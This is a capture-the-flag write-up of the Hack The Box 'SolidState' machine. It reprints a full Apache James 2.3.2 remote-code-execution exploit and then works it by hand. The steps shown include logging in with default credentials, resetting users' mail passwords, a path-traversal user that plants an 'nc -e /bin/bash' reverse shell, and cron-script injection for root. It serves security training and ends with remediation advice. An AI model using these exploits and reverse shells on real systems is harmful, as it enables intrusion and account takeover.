First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.
nmap -sC -sV -O -oA initial 10.10.10.51
-sC: run default nmap scripts
-sV: detect service version
-O: detect OS
-oA: output all formats and store in file initial
We get back the following result showing that 5 ports are open:
Port 22: running OpenSSH 7.4p1
Port 25: running JAMES smtpd 2.3.2
Port 80: running httpd 2.4.25
Port 110: running JAMES pop3d 2.3.2
Port 119: running JAMES nntpd
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 17:22 ESTNmap scan report for 10.10.10.51Host is up (0.039s latency).Not shown: 995 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)| ssh-hostkey:| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)25/tcp open smtp JAMES smtpd 2.3.2|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.12 [10.10.14.12]),80/tcp open http Apache httpd 2.4.25 ((Debian))|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Home - Solid State Security110/tcp open pop3 JAMES pop3d 2.3.2119/tcp open nntp JAMES nntpd (posting ok)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.80%E=4%D=12/29%OT=22%CT=1%CU=39873%PV=Y%DS=2%DC=I%G=Y%TM=5E0927OS:3F%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=8)OPOS:S(O1=M54DST11NW6%O2=M54DST11NW6%O3=M54DNNT11NW6%O4=M54DST11NW6%O5=M54DSTOS:11NW6%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECOS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=NOS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%COS:D=S)Network Distance: 2 hopsService Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 32.57 seconds
Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.
Let’s run an nmap scan that covers all ports.
nmap -sC -sV -p- -oA full 10.10.10.51
We get back the following result showing that one other port is open.
Port 4555: running JAMES Remote Admin 2.3.2
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 17:26 ESTNmap scan report for 10.10.10.51Host is up (0.052s latency).Not shown: 65529 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)| ssh-hostkey:| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)25/tcp open smtp JAMES smtpd 2.3.2|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.12 [10.10.14.12]),80/tcp open http Apache httpd 2.4.25 ((Debian))|_http-server-header: Apache/2.4.25 (Debian)|_http-title: Home - Solid State Security110/tcp open pop3 JAMES pop3d 2.3.2119/tcp open nntp JAMES nntpd (posting ok)4555/tcp open james-admin JAMES Remote Admin 2.3.2Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 75.55 seconds
Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.
nmap -sU -p- -oA udp 10.10.10.51
I managed to root the box and write this blog while the UDP scan did not terminate. So I don’t have UDP nmap scan results for this box.
Before we move on to enumeration, let’s make some mental notes about the nmap scan results.
The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
Ports 80 is running a web server, so we’ll perform our standard enumeration techniques on it.
Ports 25, 110, 119 and 4555 are running Apache James. Apache James is an open source SMTP and POP3 mail transfer agent and NNTP news server. Port 4555 immediately catches my eye since it’s a remote administration tool. We’ll need to run searchsploit on it to check if it is associated with any critical vulnerabilities.
I always start off with enumerating HTTP first.
Visit the application in the browser.
I visited all the pages in the application and didn’t find anything useful. Next, let’s run gobuster.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u 10.10.10.51
dir: uses directory/file brute forcing mode
-w: path to the wordlist
-u: target URL or domain
We get back the following result.
===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url: http://10.10.10.51[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Timeout: 10s===============================================================2019/12/29 17:31:19 Starting gobuster===============================================================/images (Status: 301)/assets (Status: 301)/server-status (Status: 403)===============================================================2019/12/29 17:56:46 Finished===============================================================
Nothing useful, so let’s move on to enumerating port 4555.
Run searchsploit on the software name and version.
searchsploit Apache James Server 2.3.2
We get back the following result.
Jackpot! Transfer the exploit to our current directory.
searchsploit -m 35513
You should never run scripts that you haven’t reviewed first, so let’s view the content of this exploit.
#!/usr/bin/python## Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution# Date: 16\10\2014# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec# Vendor Homepage: http://james.apache.org/server/# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip# Version: Apache James Server 2.3.2# Tested on: Ubuntu, Debian# Info: This exploit works on default installation of Apache James Server 2.3.2# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.dimport socketimport sysimport time# specify payload#payload = 'touch /tmp/proof.txt' # to exploit on any userpayload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root# credentials to James Remote Administration Tool (Default - root/root)user = 'root'pwd = 'root'if len(sys.argv) != 2:sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv)sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv)sys.exit(1)ip = sys.argvdef recv(s):s.recv(1024)time.sleep(0.2)try:print "[+]Connecting to James Remote Administration Tool..."s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((ip,4555))s.recv(1024)s.send(user + "\n")s.recv(1024)s.send(pwd + "\n")s.recv(1024)print "[+]Creating user..."s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")s.recv(1024)s.send("quit\n")s.close()print "[+]Connecting to James SMTP server..."s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((ip,25))s.send("ehlo [email protected]\r\n")recv(s)print "[+]Sending payload..."s.send("mail from: <'@team.pl>\r\n")recv(s)# also try s.send("rcpt to: <../../../../../../../../etc/[email protected]>\r\n") if the recipient cannot be founds.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")recv(s)s.send("data\r\n")recv(s)s.send("From: [email protected]\r\n")s.send("\r\n")s.send("'\n")s.send(payload + "\n")s.send("\r\n.\r\n")recv(s)s.send("quit\r\n")recv(s)s.close()print "[+]Done! Payload will be executed once somebody logs in."except:print "Connection failed."
After reviewing the script, I made a few notes:
This is an authenticated exploit, so we need credentials. The exploit uses the default credentials root/root that are probably shipped with the software. We’ll have to connect to the server to find out if these credentials are valid before we run this exploit.
When running the exploit we have to pass the IP address as an argument. The script by default connects to port 4555 which is good since our server is running on that port.
The script first creates a user with username “../../../../../../../../etc/bash_completion.d” and password “exploit”. It then connects to the SMTP server and sends that user a payload. Right off the bat, this doesn’t make much sense, so we’ll have to research the vulnerability.
After a bit of research we find that the vulnerability is in the adduser functionality. When a new user is added, the server creates a new subdirectory to store incoming and outgoing emails for that user. However, the username field is not properly validated. Therefore, when we’re creating a user with the username “../../../../../../../../etc/bash_completion.d”, any mail that gets sent to that user will be stored in that directory path. Why is that dangerous? Long story short, anything under the directory /etc/bash_completion.d is automatically loaded by Bash for all users! To learn more about bash completion scripts, refer to this article.
Therefore, if we create a user with a username that leads to the /etc/bash_completion.d directory, when we send an email to that user, our email gets saved in the bash_completion.d directory and the content of our email is automatically loaded by Bash when any user logs into the machine. So if we include a reverse shell in the email, all we have to do is wait for a single user to log in and we have access to the machine!
Now that we’ve done our research, we’re ready to move on to the exploitation phase.
First, let’s test the root/root credentials on the James Remote Admin server.
[email protected]:~/Desktop/htb/solidstate# nc 10.10.10.51 4555JAMES Remote Administration Tool 2.3.2Please enter your login and passwordLogin id:rootPassword:rootWelcome root. HELP for a list of commands
It works, good! List the available commands using the HELP command.
HELPCurrently implemented commands:help display this helplistusers display existing accountscountusers display the number of existing accountsadduser [username] [password] add a new userverify [username] verify if specified user existdeluser [username] delete existing usersetpassword [username] [password] sets a user's passwordsetalias [user] [alias] locally forwards all email for 'user' to 'alias'showalias [username] shows a user's current email aliasunsetalias [user] unsets an alias for 'user'setforwarding [username] [emailaddress] forwards a user's email to another email addressshowforwarding [username] shows a user's current email forwardingunsetforwarding [username] removes a forwarduser [repositoryname] change to another user repositoryshutdown kills the current JVM (convenient when James is run as a daemon)quit close connection
Use the listusers command to display existing accounts.
listusersExisting accounts 5user: jamesuser: thomasuser: johnuser: mindyuser: mailadmin
We have 5 accounts. Since this is an admin account, we can set a user’s password and then access their account. If this was a real penetration test, you probably don’t want to do that. You’ll raise a lot of red flags when a bunch of users no longer can access their accounts. However, since this is a practice environment, I’m going to go all out. Let’s start by changing the mailadmin user’s account.
setpassword mailadmin passwordPassword for mailadmin reset
Now that we reset the password for the mailadmin account, let’s access his email using telnet.
[email protected]:~# telnet 10.10.10.51 110Trying 10.10.10.51...Connected to 10.10.10.51.Escape character is '^]'.+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) readyUSER mailadmin+OKPASS password+OK Welcome mailadminLIST+OK 0 0.
He does not have any mail. Next, I’m going to reset the passwords of all the other accounts.
setpassword james passwordPassword for james resetsetpassword thomas passwordPassword for thomas resetsetpassword john passwordPassword for john resetsetpassword mindy passwordPassword for mindy reset
James, Thomas and John didn’t have any emails too. Mindy on the other hand had two emails stored in her account.
[email protected]:~# telnet 10.10.10.51 110Trying 10.10.10.51...Connected to 10.10.10.51.Escape character is '^]'.+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) readyUSER mindy+OKPASS password+OK Welcome mindyLIST+OK 2 19451 11092 836.RETR 1+OK Message followsReturn-Path: <[email protected]>Message-ID: <[email protected]>MIME-Version: 1.0Content-Type: text/plain; charset=us-asciiContent-Transfer-Encoding: 7bitDelivered-To: [email protected]Received: from 192.168.11.142 ([192.168.11.142])by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798for <[email protected]>;Tue, 22 Aug 2017 13:13:42 -0400 (EDT)Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)From: [email protected]Subject: WelcomeDear Mindy,Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.We are looking forward to you joining our team and your success at Solid State Security.Respectfully,James.RETR 2+OK Message followsReturn-Path: <[email protected]>Message-ID: <[email protected]>MIME-Version: 1.0Content-Type: text/plain; charset=us-asciiContent-Transfer-Encoding: 7bitDelivered-To: [email protected]Received: from 192.168.11.142 ([192.168.11.142])by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581for <[email protected]>;Tue, 22 Aug 2017 13:17:28 -0400 (EDT)Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)From: [email protected]Subject: Your AccessDear Mindy,Here are your ssh credentials to access the system. Remember to reset your password after your first login.Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.username: mindyJames
The first email was useless but the second email gives us SSH credentials! Let’s SSH into Mindy’s account.
The authenticity of host '10.10.10.51 (10.10.10.51)' can't be established.ECDSA key fingerprint is SHA256:njQxYC21MJdcSfcgKOpfTedDAXx50SYVGPCfChsGwI0.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.10.51' (ECDSA) to the list of known hosts.[email protected]'s password:Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142[email protected]:~$ whoami-rbash: whoami: command not found
We’re in! However, we seem to be in a restricted bash shell (rbash). A restricted shell is a shell that restricts a user by blocking/restricting some of the commands. That’s why the “whoami” command didn’t work for us.
The “ls” and “cat” commands work, so we can at least view the user.txt flag.
There are several things you can do to try and break out of a restricted shell. I tried a bunch of them, but nothing worked. I’m not even allowed to change directories!
[email protected]:~$ cd /home-rbash: cd: restricted
We seem to have reached a dead end, so let’s go back to the RCE exploit we found earlier. I’m going to exploit this manually instead of using the script on exploitdb.
Log back into the James Remote Admin server and create a user with the username “../../../../../../../../etc/bash_completion.d” and password “password”.
[email protected]:~/Desktop/htb/solidstate# nc 10.10.10.51 4555JAMES Remote Administration Tool 2.3.2Please enter your login and passwordLogin id:rootPassword:rootWelcome root. HELP for a list of commandsadduser ../../../../../../../../etc/bash_completion.d passwordUser ../../../../../../../../etc/bash_completion.d added
Now let’s send this user an email that contains a reverse shell.
[email protected]:~# telnet 10.10.10.51 25Trying 10.10.10.51...Connected to 10.10.10.51.Escape character is '^]'.220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Mon, 30 Dec 2019 17:10:56 -0500 (EST)EHLO bla.bla250-solidstate Hello bla.bla (10.10.14.12 [10.10.14.12])250-PIPELINING250 ENHANCEDSTATUSCODESMAIL FROM: <'[email protected]>250 2.1.0 Sender <'[email protected]> OKRCPT TO: <../../../../../../../../etc/bash_completion.d>250 2.1.5 Recipient <../../../../../../../../etc/[email protected]> OKDATA354 Ok Send data ending with <CRLF>.<CRLF>FROM: bla.bla'/bin/nc -e /bin/bash 10.10.14.12 1234.250 2.6.0 Message receivedquit221 2.0.0 solidstate Service closing transmission channelConnection closed by foreign host.
If you’re not familiar with using telnet for SMTP communication, refer to this guide. One thing to note is the single quote we added in the MAIL FROM field and after the FROM field. This is so that the file is interpreted properly at the backend and our reverse shell runs.
Next, set up a listener to receive the reverse shell.
nc -nlvp 1234
Then SSH into Mindy’s account so that the content of the bash_completion directory is loaded.
We get a shell that’s no longer restricted by the rbash shell!
Let’s upgrade it to a better shell.
python -c 'import pty; pty.spawn("/bin/bash")'
This gives us a partially interactive bash shell. To get a fully interactive shell, background the session (CTRL+ Z) and run the following in your terminal which tells your terminal to pass keyboard shortcuts to the shell.
stty raw -echo
Once that is done, run the command “fg” to bring netcat back to the foreground.
Now we need to escalate privileges.
Let’s transfer the LinEnum script from our attack machine to the target machine.
In the attack machine, start up a server in the same directory that the script resides in.
python -m SimpleHTTPServer 5555
In the target machine, move to the /tmp directory where we have write privileges and download the LinEnum script.
cd /tmpwget http://10.10.14.12:5555/LinEnum.sh
Give it execute privileges.
chmod +x LinEnum.sh
Run the script.
We don’t get anything useful. Next, let’s try pspy. If you don’t have the script, you can download it from the following github repository.
We know that the system is a 32 bit system so make sure you run pspy32. Upload it and run it on the attack machine in the same way we did for LinEnum.
After a minute we see an interesting process pop up.
If you view the permissions on the /opt/tmp.py file, you’ll see that everyone has read/write/execute privileges on it.
Therefore all we need to do is change the content of the file to send a reverse shell to our attack machine and then we simply wait for the cron job to send a privileged shell back.
Change the content of the file to send a reverse shell to our attack machine.
echo "os.system('/bin/nc -e /bin/bash 10.10.14.12 7777')" >> /opt/tmp.py
Set up a listener to receive the reverse shell.
nc -nlvp 7777
Wait a minute for the cron job to run.
We have a shell! Grab the root.txt flag.
To gain an initial foothold on the box we exploited three vulnerabilities.
Use of default credentials. The administrator used the default password that is shipped with the application. Since default credentials are publicly available and can be easily obtained, the user should have instead used a sufficiently long password that is difficult to crack.
Information disclosure. SSH credentials are stored in plaintext in one of the user’s emails. If it is necessary that the password be transmitted by email, the user should have changed the password upon the first login.
A Remote Code Execution (RCE) vulnerability with the James Remote server that allowed us to gain initial access to the machine. This could have been avoided if the user had patched the system and installed the most recent version of the software.
To escalate privileges we exploited one vulnerability.
A security misconfiguration of file permissions. There was a scheduled task that ran a file with root privileges although everyone had write access to that file. This allowed us to change the content of the file and get a privileged reverse shell sent back to our attack machine. To avoid this vulnerability, the file permissions should have been restricted to only root level access.